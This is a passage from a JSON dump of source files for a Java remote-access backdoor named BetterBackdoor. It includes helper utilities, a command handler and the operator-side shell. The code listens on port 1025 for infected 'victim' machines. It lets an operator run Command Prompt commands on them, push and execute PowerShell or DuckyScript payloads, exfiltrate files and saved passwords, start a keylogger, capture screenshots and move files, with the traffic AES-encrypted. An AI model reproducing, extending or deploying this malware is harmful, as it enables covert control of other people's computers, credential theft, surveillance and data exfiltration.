current machine.\r\n\t *\r\n\t * @param ipType type of IP address to return\r\n\t * @return either the internal or external IP address of the current machine\r\n\t * @throws IOException\r\n\t */\r\n\tpublic static String getIP(String ipType) throws IOException {\r\n\t\tString ret = null;\r\n\t\tif (ipType.equals(\"internal\")) {\r\n\t\t\tEnumeration<NetworkInterface> majorInterfaces = NetworkInterface.getNetworkInterfaces();\r\n\t\t\twhile (majorInterfaces.hasMoreElements()) {\r\n\t\t\t\tNetworkInterface inter = majorInterfaces.nextElement();\r\n\t\t\t\tfor (Enumeration<InetAddress> minorInterfaces = inter.getInetAddresses(); minorInterfaces\r\n\t\t\t\t\t\t.hasMoreElements(); ) {\r\n\t\t\t\t\tInetAddress add = minorInterfaces.nextElement();\r\n\t\t\t\t\tif (!add.isLoopbackAddress())\r\n\t\t\t\t\t\tif (add instanceof Inet4Address) {\r\n\t\t\t\t\t\t\tret = add.getHostAddress();\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (ipType.equals(\"external\")) {\r\n\t\t\tURL checkIP = new URL(\"http://checkip.amazonaws.com\");\r\n\t\t\tBufferedReader in = new BufferedReader(new InputStreamReader(checkIP.openStream()));\r\n\t\t\tString ip = in.readLine();\r\n\t\t\tin.close();\r\n\t\t\tret = ip;\r\n\t\t}\r\n\t\treturn ret;\r\n\t}\r\n\r\n\tpublic static String encrypt(String toEncrypt, String key) throws NoSuchPaddingException, NoSuchAlgorithmException, UnsupportedEncodingException, InvalidKeyException,\r\n\t\t\tBadPaddingException, IllegalBlockSizeException {\r\n\t\tbyte[] toEncryptBytes = toEncrypt.getBytes(\"UTF8\");\r\n\r\n\t\tbyte[] keyBytes = Base64.getDecoder().decode(key);\r\n\t\tSecretKey encryptionKey = new SecretKeySpec(keyBytes, 0, keyBytes.length, \"AES\");\r\n\r\n\t\tCipher cipher = Cipher.getInstance(\"AES\");\r\n\t\tcipher.init(Cipher.ENCRYPT_MODE, encryptionKey);\r\n\t\tbyte[] cipherBytes = cipher.doFinal(toEncryptBytes);\r\n\t\treturn Base64.getEncoder().encodeToString(cipherBytes);\r\n\t}\r\n\r\n\tpublic static String decrypt(String toDecrypt, String key) throws UnsupportedEncodingException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException,\r\n\t\t\tIllegalBlockSizeException, InvalidKeyException {\r\n\t\tbyte[] toDecryptBytes = Base64.getDecoder().decode(toDecrypt);\r\n\r\n\t\tbyte[] keyBytes = Base64.getDecoder().decode(key);\r\n\t\tSecretKey encryptionKey = new SecretKeySpec(keyBytes, 0, keyBytes.length, \"AES\");\r\n\r\n\t\tCipher cipher = Cipher.getInstance(\"AES\");\r\n\t\tcipher.init(Cipher.DECRYPT_MODE, encryptionKey);\r\n\t\tbyte[] decryptedBytes = cipher.doFinal(toDecryptBytes);\r\n\t\treturn new String(decryptedBytes, \"UTF8\");\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/shell/HandleCommand.java",
    "content": "package dev.thatcherclough.betterbackdoor.shell;\r\n\r\nimport java.io.File;\r\nimport java.io.IOException;\r\nimport java.security.InvalidKeyException;\r\nimport java.security.NoSuchAlgorithmException;\r\n\r\nimport dev.thatcherclough.betterbackdoor.BetterBackdoor;\r\nimport dev.thatcherclough.betterbackdoor.backend.FTP;\r\nimport dev.thatcherclough.betterbackdoor.backend.Utils;\r\n\r\nimport org.apache.commons.io.FileUtils;\r\n\r\nimport javax.crypto.BadPaddingException;\r\nimport javax.crypto.IllegalBlockSizeException;\r\nimport javax.crypto.NoSuchPaddingException;\r\n\r\npublic class HandleCommand {\r\n\r\n\t/**\r\n\t * Handles command {@code command} given by user.\r\n\t *\r\n\t * @param command command given by user\r\n\t * @throws IOException\r\n\t */\r\n\tpublic static void handle(String command) throws IOException, ClassNotFoundException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException,\r\n\t\t\tIllegalBlockSizeException, NoSuchPaddingException {\r\n\t\tswitch (command) {\r\n\t\t\tcase \"cmd\":\r\n\t\t\t\tSystem.out.println(\r\n\t\t\t\t\t\t\"Commands will now be executed through vitim's computer's Command Prompt\\nEnter 'back' to go back\");\r\n\t\t\t\twhile (true) {\r\n\t\t\t\t\tsend(\"current-cmd-dir\");\r\n\t\t\t\t\tSystem.out.print(getResp());\r\n\t\t\t\t\tString cmdCommand = BetterBackdoor.getInput(\"\");\r\n\t\t\t\t\tif (cmdCommand.equals(\"back\"))\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tsend(\"cmd \" + cmdCommand);\r\n\t\t\t\t\tShell.out.flush();\r\n\t\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"ps\":\r\n\t\t\tcase \"ds\": {\r\n\t\t\t\tSystem.out.print(\"This will send a local \");\r\n\t\t\t\tif (command.equals(\"ps\"))\r\n\t\t\t\t\tSystem.out.print(\"PowerShell script \");\r\n\t\t\t\telse\r\n\t\t\t\t\tSystem.out.print(\"DuckyScript\");\r\n\t\t\t\tSystem.out.println(\" to the victims computer, execute it, and delete it.\");\r\n\t\t\t\tSystem.out.println(\"Enter local filepath of script:\");\r\n\t\t\t\tFile file = new File(BetterBackdoor.getInput(\"file\"));\r\n\t\t\t\tSystem.out.println(\"Sending script...\");\r\n\t\t\t\tsend(\"filesend \" + file.getName());\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tFTP.shell(file.getAbsolutePath(), \"send\");\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tSystem.out.println(\"Running script...\");\r\n\t\t\t\tsend(command + \" \" + file.getName());\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tcase \"exfiles\": {\r\n\t\t\t\tSystem.out.println(\r\n\t\t\t\t\t\t\"This will copy files with desired extensions from a folder and all it's subfolders to a ZIP file, send the ZIP file to this computer, \" +\r\n\t\t\t\t\t\t\t\t\"and delete the original ZIP file from the victim's computer.\");\r\n\t\t\t\tSystem.out.println(\"Enter victim's directory to search through:\");\r\n\t\t\t\tString root = BetterBackdoor.getInput(\"\");\r\n\t\t\t\tsend(\"filetype \" + root);\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tString filetype = getResp();\r\n\t\t\t\tif (filetype.equals(\"file\")) {\r\n\t\t\t\t\tSystem.out.println(\"You entered a file. Invalid input.\");\r\n\t\t\t\t} else if (filetype.equals(\"not real\")) {\r\n\t\t\t\t\tSystem.out.println(\"No such directory\");\r\n\t\t\t\t} else {\r\n\t\t\t\t\tSystem.out.println(\"Enter extensions of files separated by commas (i.e. txt,pdf,docx)\");\r\n\t\t\t\t\tString exts = BetterBackdoor.getInput(\"\");\r\n\t\t\t\t\tsend(\"exfiles \" + root + \"*\" + exts);\r\n\t\t\t\t\tShell.out.flush();\r\n\t\t\t\t\tSystem.out.println(\"Receiving files to '\" + System.getProperty(\"user.dir\") + File.separator + \"gathered\"\r\n\t\t\t\t\t\t\t+ File.separator + \"ExfiltartedFiles.zip'...\");\r\n\t\t\t\t\tFTP.shell(\"gathered\" + File.separator + \"ExfiltratedFiles.zip\", \"rec\");\r\n\t\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tcase \"expass\":\r\n\t\t\t\tsend(\"expass\");\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tSystem.out.println(\"Receiving passwords to '\" + System.getProperty(\"user.dir\") + File.separator + \"gathered\"\r\n\t\t\t\t\t\t+ File.separator + \"ExfiltratedPasswords.zip'...\");\r\n\t\t\t\tFTP.shell(\"gathered\" + File.separator + \"ExfiltratedPasswords.zip\", \"rec\");\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"filesend\": {\r\n\t\t\t\tSystem.out.println(\"Enter local filepath of file to send:\");\r\n\t\t\t\tString fileSend = BetterBackdoor.getInput(\"file\");\r\n\r\n\t\t\t\tFile file = new File(fileSend);\r\n\t\t\t\tif (file.isFile())\r\n\t\t\t\t\tSystem.out.println(\"Enter victim's filepath of file to receive:\");\r\n\t\t\t\telse if (file.isDirectory()) {\r\n\t\t\t\t\tSystem.out.println(\"You entered a directory. It will be compressed and then sent.\");\r\n\t\t\t\t\tSystem.out.println(\"Enter victim's filepath of ZIP file to receive:\");\r\n\t\t\t\t} else\r\n\t\t\t\t\tSystem.out.println(\"No such file or directory\");\r\n\r\n\t\t\t\tif (file.exists()) {\r\n\t\t\t\t\tString fileRec = BetterBackdoor.getInput(\"\");\r\n\t\t\t\t\tsend(\"filesend \" + fileRec);\r\n\t\t\t\t\tShell.out.flush();\r\n\t\t\t\t\tif (file.isDirectory()) {\r\n\t\t\t\t\t\tUtils.zipDir(file.getAbsolutePath());\r\n\t\t\t\t\t\tFTP.shell(file.getAbsolutePath() + \".zip\", \"send\");\r\n\t\t\t\t\t} else\r\n\t\t\t\t\t\tFTP.shell(file.getAbsolutePath(), \"send\");\r\n\t\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\t\tif (file.isDirectory())\r\n\t\t\t\t\t\tFileUtils.forceDelete(new File(file.getAbsolutePath() + \".zip\"));\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tcase \"filerec\": {\r\n\t\t\t\tSystem.out.println(\"Enter victim's filepath of file to send:\");\r\n\t\t\t\tString fileSend = BetterBackdoor.getInput(\"\");\r\n\r\n\t\t\t\tsend(\"filetype \" + fileSend);\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tString filetype = getResp();\r\n\t\t\t\tif (filetype.equals(\"file\"))\r\n\t\t\t\t\tSystem.out.println(\"Enter local filepath of file to receive:\");\r\n\t\t\t\telse if (filetype.equals(\"directory\")) {\r\n\t\t\t\t\tSystem.out.println(\"You entered a directory. It will be compressed and then received.\");\r\n\t\t\t\t\tSystem.out.println(\"Enter local filepath of ZIP file to receive:\");\r\n\t\t\t\t} else\r\n\t\t\t\t\tSystem.out.println(\"No such file or directory\");\r\n\r\n\t\t\t\tif (!filetype.equals(\"not real\")) {\r\n\t\t\t\t\tString fileRec = BetterBackdoor.getInput(\"\");\r\n\t\t\t\t\tsend(\"filerec \" + fileSend);\r\n\t\t\t\t\tShell.out.flush();\r\n\t\t\t\t\tFTP.shell(fileRec, \"rec\");\r\n\t\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tcase \"keylog\":\r\n\t\t\t\tsend(\"current-dir\");\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tString currentDrive = getResp().substring(0, 2);\r\n\t\t\t\tsend(\"cmd echo %USERNAME%\");\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tString currentUser = getResp().replaceAll(\" \", \"\");\r\n\r\n\t\t\t\tString logFileDir = \"C:\\\\Users\\\\\" + currentUser + \"\\\\AppData\\\\Gathered\";\r\n\t\t\t\tif (!currentDrive.equals(\"C:\")) {\r\n\t\t\t\t\tSystem.out.println(\"The backdoor is running from drive \" + currentDrive.substring(0, 1)\r\n\t\t\t\t\t\t\t+ \". Where should keys be logged?\");\r\n\t\t\t\t\tSystem.out.println(\"[0] \" + logFileDir + \"\\\\keys.log\");\r\n\t\t\t\t\tSystem.out.println(\"[1] \" + currentDrive + \"\\\\keys.log\");\r\n\t\t\t\t\tString dirChoice = BetterBackdoor.getInput(\"op01\");\r\n\t\t\t\t\tif (dirChoice.equals(\"1\"))\r\n\t\t\t\t\t\tlogFileDir = currentDrive;\r\n\t\t\t\t}\r\n\t\t\t\tsend(\"keylog \" + logFileDir);\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"ss\":\r\n\t\t\t\tsend(\"ss\");\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tSystem.out.println(\"Receiving screenshot to '\" + System.getProperty(\"user.dir\") + File.separator\r\n\t\t\t\t\t\t+ \"gathered\" + File.separator + \"screenshot.png'...\");\r\n\t\t\t\tFTP.shell(\"gathered\" + File.separator + \"screenshot.png\", \"rec\");\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"cat\":\r\n\t\t\t\tSystem.out.println(\"Enter victim's filepath of file to get contents of:\");\r\n\t\t\t\tsend(\"cat \" + BetterBackdoor.getInput(\"\"));\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"zip\":\r\n\t\t\t\tSystem.out.println(\"Enter victim's filepath of directory to compress:\");\r\n\t\t\t\tsend(\"zip \" + BetterBackdoor.getInput(\"\"));\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"unzip\":\r\n\t\t\t\tSystem.out.println(\"Enter victim's filepath of ZIP file to decompress:\");\r\n\t\t\t\tsend(\"unzip \" + BetterBackdoor.getInput(\"\"));\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"exit\":\r\n\t\t\t\tSystem.exit(0);\r\n\t\t\tdefault:\r\n\t\t\t\tsend(command);\r\n\t\t\t\tShell.out.flush();\r\n\t\t\t\tSystem.out.println(getResp());\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tprivate static void send(String toSend) throws IOException, IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException,\r\n\t\t\tNoSuchPaddingException {\r\n\t\tif (Shell.key != null)\r\n\t\t\tShell.out.writeObject(Utils.encrypt(toSend, Shell.key));\r\n\t\telse\r\n\t\t\tShell.out.writeObject(toSend);\r\n\t}\r\n\r\n\t/**\r\n\t * Gets response from client.\r\n\t *\r\n\t * @return response from client\r\n\t */\r\n\tprivate static String getResp() throws IOException, ClassNotFoundException, IllegalBlockSizeException, InvalidKeyException, BadPaddingException, NoSuchAlgorithmException\r\n\t\t\t, NoSuchPaddingException {\r\n\t\tString ret;\r\n\t\tString resp = (String) Shell.in.readObject();\r\n\t\tif (Shell.key != null)\r\n\t\t\tret = Utils.decrypt(resp, Shell.key);\r\n\t\telse\r\n\t\t\tret = resp;\r\n\r\n\t\treturn ret;\r\n\t}\r\n}"
  },
  {
    "path": "src/main/java/dev/thatcherclough/betterbackdoor/shell/Shell.java",
    "content": "package dev.thatcherclough.betterbackdoor.shell;\r\n\r\nimport dev.thatcherclough.betterbackdoor.BetterBackdoor;\r\nimport dev.thatcherclough.betterbackdoor.backend.Utils;\r\n\r\nimport java.io.File;\r\nimport java.io.ObjectInputStream;\r\nimport java.io.ObjectOutputStream;\r\nimport java.net.ServerSocket;\r\nimport java.net.Socket;\r\nimport java.util.ArrayList;\r\nimport java.util.Scanner;\r\n\r\npublic class Shell {\r\n\r\n\tprivate static Socket socket;\r\n\tpublic static String key;\r\n\tpublic static ObjectInputStream in;\r\n\tpublic static ObjectOutputStream out;\r\n\tpublic static ArrayList<Socket> connectedMachines = new ArrayList<>();\r\n\r\n\t/**\r\n\t * Starts shell to control backdoor.\r\n\t * <p>\r\n\t * Creates server on port 1025 for client to connect to. Runs {@link Connector#start()} to find\r\n\t * all possible clients and prompts user to select client to connect to if their are multiple clients.\r\n\t * Once client has connected, starts an infinite loop that gets command {@code command} from\r\n\t * user and handles it with {@link HandleCommand#handle}.\r\n\t */\r\n\tpublic static void start() {\r\n\t\tSystem.out.println(\"Searching for clients...\\n\");\r\n\t\ttry {\r\n\t\t\tServerSocket serverSocket = new ServerSocket(1025);\r\n\t\t\twhile (connectedMachines.size() == 0) {\r\n\t\t\t\tConnector connector = new Connector(serverSocket);\r\n\t\t\t\tconnector.start();\r\n\t\t\t\tThread.sleep(5000);\r\n\t\t\t\tconnector.interrupt();\r\n\t\t\t\tif (connectedMachines.size() == 0)\r\n\t\t\t\t\tSystem.out.println(\"No clients found. Searching again...\\n\");\r\n\t\t\t}\r\n\r\n\t\t\tif (connectedMachines.size() == 1) {\r\n\t\t\t\tSystem.out.println(\"Found client.\");\r\n\t\t\t\tsocket = connectedMachines.get(0);\r\n\t\t\t} else {\r\n\t\t\t\tSystem.out.println(\"Select client to connect to:\");\r\n\t\t\t\tStringBuilder opString = new StringBuilder(\"op\");\r\n\t\t\t\tfor (int k = 0; k < connectedMachines.size(); k++) {\r\n\t\t\t\t\tSystem.out.println(\"[\" + k + \"] \" + connectedMachines.get(k).getInetAddress());\r\n\t\t\t\t\topString.append(k);\r\n\t\t\t\t}\r\n\t\t\t\tString option = BetterBackdoor.getInput(opString.toString());\r\n\t\t\t\tfor (int k = 0; k < connectedMachines.size(); k++)\r\n\t\t\t\t\tif (option.equals(Integer.toString(k)))\r\n\t\t\t\t\t\tsocket = connectedMachines.get(k);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tconnectedMachines.get(k).close();\r\n\t\t\t}\r\n\t\t\tconnectedMachines.clear();\r\n\r\n\t\t\tout = new ObjectOutputStream(socket.getOutputStream());\r\n\t\t\tin = new ObjectInputStream(socket.getInputStream());\r\n\r\n\t\t\tString isEncryptedString = (String) in.readObject();\r\n\t\t\tif (isEncryptedString.equals(\"true\")) {\r\n\t\t\t\tScanner keysIn = new Scanner(new File(\"keys.txt\"));\r\n\t\t\t\twhile (keysIn.hasNextLine()) {\r\n\t\t\t\t\tString possibleKey = keysIn.nextLine();\r\n\t\t\t\t\ttry {\r\n\t\t\t\t\t\tString trueEncrypted = Utils.encrypt(\"true\", possibleKey);\r\n\t\t\t\t\t\tout.writeObject(trueEncrypted);\r\n\t\t\t\t\t\tout.flush();\r\n\t\t\t\t\t\tString response = (String) in.readObject();\r\n\r\n\t\t\t\t\t\tif (response.equals(\"true\")) {\r\n\t\t\t\t\t\t\tkey = possibleKey;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} catch (Exception ignored) {\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (key == null)\r\n\t\t\t\t\tSystem.out.println(\"Could not automatically find encryption key.\");\r\n\t\t\t\twhile (key == null) {\r\n\t\t\t\t\tSystem.out.println(\"Enter encryption key:\");\r\n\t\t\t\t\tString possibleKey = BetterBackdoor.getInput(\"\");\r\n\t\t\t\t\ttry {\r\n\t\t\t\t\t\tString trueEncrypted = Utils.encrypt(\"true\", possibleKey);\r\n\t\t\t\t\t\tout.writeObject(trueEncrypted);\r\n\t\t\t\t\t\tout.flush();\r\n\t\t\t\t\t\tString response = (String) in.readObject();\r\n\r\n\t\t\t\t\t\tif (response.equals(\"true\")) {\r\n\t\t\t\t\t\t\tkey = possibleKey;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t} else\r\n\t\t\t\t\t\t\tthrow new Exception();\r\n\t\t\t\t\t} catch (Exception e) {\r\n\t\t\t\t\t\tSystem.out.println(\"Incorrect key.\");\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tnew File(\"gathered\").mkdir();\r\n\t\t\tSystem.out.println(\"Connection has been established to \" + socket.getInetAddress());\r\n\t\t\tSystem.out.println(\"Enter 'help' for a list of available commands\");\r\n\t\t\twhile (true)\r\n\t\t\t\tHandleCommand.handle(BetterBackdoor.getInput(\"\"));\r\n\t\t} catch (Exception e) {\r\n\t\t\tif (e.getMessage().equals(\"String index out of range: -1\")\r\n\t\t\t\t\t|| e.getMessage().equals(\"begin 0, end -1, length 0\"))\r\n\t\t\t\tBetterBackdoor.error(\"The victim's computer has disconnected\");\r\n\t\t\telse\r\n\t\t\t\tBetterBackdoor.error(e.getMessage());\r\n\t\t} finally {\r\n\t\t\ttry {\r\n\t\t\t\tif (socket != null)\r\n\t\t\t\t\tsocket.close();\r\n\t\t\t\tif (in != null)\r\n\t\t\t\t\tin.close();\r\n\t\t\t\tif (out != null)\r\n\t\t\t\t\tout.close();\r\n\t\t\t} catch (Exception ignored) {\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nclass Connector extends Thread {\r\n\r\n\tprivate ServerSocket serverSocket = null;\r\n\r\n\tpublic Connector(ServerSocket serverSocket) {\r\n\t\tthis.serverSocket = serverSocket;\r\n\t}\r\n\r\n\t/**\r\n\t * Attempts to accept connections to {@link Connector#serverSocket} and add the produced sockets to\r\n\t * {@link Shell#connectedMachines}.\r\n\t */\r\n\tpublic void run() {\r\n\t\twhile (true) {\r\n\t\t\ttry {\r\n\t\t\t\tSocket socket = serverSocket.accept();\r\n\t\t\t\tShell.connectedMachines.add(socket);\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}"
  }
]